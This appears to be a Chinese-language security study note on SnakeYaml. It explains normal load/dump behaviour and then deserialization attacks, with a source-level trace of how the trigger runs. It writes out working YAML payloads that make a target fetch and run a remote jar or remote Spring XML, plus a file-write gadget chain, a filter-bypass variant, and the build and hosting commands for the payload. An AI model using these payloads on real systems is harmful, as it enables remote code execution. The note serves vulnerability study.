SnakeYaml
0x01 What Is SnakeYaml
SnakeYaml是一个完整的YAML1.1规范Processor,用于解析YAML,序列化以及反序列化,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。
0x02 Best Practice
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>两个方法:
Yaml.load():入参是一个字符串或者一个文件,返回一个Java对象
Yaml.dump():将一个对象转化为yaml文件形式
package com.snake.demo;
public class User {
private String name;
public int age;
public User(String name, int age) {
this.name = name;
this.age = age;
}
public User() {
System.out.println("Non Arg Constructor");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
@Override
public String toString() {
return "I am " + name + ", " + age + " years old";
}
}dump
打印结果:
getName
!!com.snake.demo.User {age: 18, name: taco}
!!用于强制类型转换,与fastjson中@type字段类似
dump()还调用了非public成员的getter
load
Non Arg Constructor
setName
I am taco, 18 years old
load()调用了无参构造器和非public成员的setter
实际上不仅无参构造器能够调用,还能指定调用有参构造器,只要传参类型为有参构造器的参数类型即可。
Arg Constructor Called
I am taco, 18 years old
此时就不会调用setter方法了
若类属性是public修饰,不会调用对应的setter方法,而是通过反射来set
0x03 Way To Attack
yaml反序列化时通过!! + 全类名指定反序列化的类,和fastjson一样都会调用setter,不过对于public修饰的成员不会调用其setter,除此之外,snakeyaml反序列化时还能调用该类的构造函数(fastjson是通过ASM生成的)。
ScriptEngineManager
构造ScriptEngineManagerpayload,利用SPI机制通过URLClassLoader远程加载恶意字节码文件。
Github上面的EXP:https://github.com/artsploit/yaml-payload
工具的工程classpath下存在META-INF/services文件夹
javax.script.ScriptEngineFactory
artsploit.AwesomeScriptEngineFactory
打成jar包
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
将生成yaml-payload.jar包放在web服务上
python -m http.server 9999
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9999/yaml-payload.jar"] ]] ]

下面来看一下触发流程
javax.script.ScriptEngineManager


ScriptEngineManager的无参构造器调用了init(),进行初始化设置后调用initEngines(),用于初始化脚本引擎。
接着到getServiceLoader,用于获取ServiceLoader迭代器

到了熟悉的ServiceLoader.load()返回一个ServiceLoader<T>,根据这个可以获取一个迭代器,接下来还是熟悉的迭代遍历。

next() => nextService()会加载接口实现类并实例化,在SPI那节已经介绍过了。
SpringFramework远程加载配置
Spring当中有两个类的构造函数远程加载配置,可以构成RCE
org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext
!!org.springframework.context.support.ClassPathXmlApplicationContext ["http://127.0.0.1:8888/evil.xml"]
既然能触发getter,那么fastjson的大部分payload也可以用。
写文件加载本地jar
!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File ["filePath"],false],!!java.util.zip.Inflater { input: !!binary base64 },length]]
filepath是写入路径,base64str为经过zlib压缩过后的文件内容,length为文件大小
和fastjson一样,对于byte数组会自动进行base64解码(snakeyaml中为binary)
既然可以写文件,那就把jar写入目标环境,然后再通过URLClassloader本地加载
0x04 Yaml#load()
payload存储于StreamReader的stream字段

回到loadFromReader(),创建了一个Composer对象,并封装到constructor中
跟进getSingleData

getSingleNode()将poc改造为如下:
<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9999/yaml-payload.jar)>])>])>])>])>
若过滤了!!,可利用此tag规则进行绕过
!tag:yaml.org,2002:javax.script.ScriptEngineManager [!tag:yaml.org,2002:java.net.URLClassLoader [[!tag:yaml.org,2002:java.net.URL ["http://ip/yaml-payload.jar"]]]]
接着调用constructDocument()对上面poc进行处理

跟进constructObject() => constructObjectNoCheck()

node放入recursiveObjects,进入constructor.construct(node)


遍历节点,调用constructObject()又循环回去了
constructObjectNoCheck()->
BaseConstructor#construct()->
Contructor#construct()->
递归Contructor#constructObject()
上面的POC有5个node,所以循环5次。
先后进行了URL、URLClassLoader、ScriptEngineManager的实例化
注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。
最后进入ScriptEngineManager的无参构造器,连接上了上文的SPI机制。

Article To Learn
Last updated
Was this helpful?